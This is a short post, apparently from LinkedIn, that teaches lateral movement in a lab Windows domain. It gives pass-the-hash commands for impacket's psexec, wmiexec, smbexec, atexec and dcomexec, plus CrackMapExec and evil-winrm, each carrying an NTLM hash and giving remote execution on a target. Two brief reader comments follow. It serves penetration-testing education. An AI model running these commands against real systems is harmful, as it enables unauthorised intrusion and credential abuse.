Lateral Move with impacket
Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object-oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.
Let's clarify the most important ones.
Impacket - PsExec
PsExec:
Upload executable file
psexec -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
Impacket - WmiExec
WmiExec (pseudo terminal):
wmiexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
Impacket - SmbExec
SmbExec (pseudo terminal):
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
Impacket - AtExec
AtExec (execute command):
领英推荐
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected] whoami
Impacket - DcomExec
DecomExec (Distributed Component Object Model):
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
Lateral Move with CME
cme smb 192 .168.xx.xx -H ':cba36eccfd9d949c73bc73715364aff5' -d 'north' -u 'catelyn.stark' -x whoami
Winrm
evil-winrm -i 192 .168.xx.xx -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'
I hope you enjoyed reading and I will be pleased if you have any feedback
OSCP | GCIH | Sec+
5 个月check out this tool called slinger. It combines many of the useful impacket features into one, using the same session. https://github.com/ghost-ng/slinger
Cyber Security Lead
7 个月thank you for sharing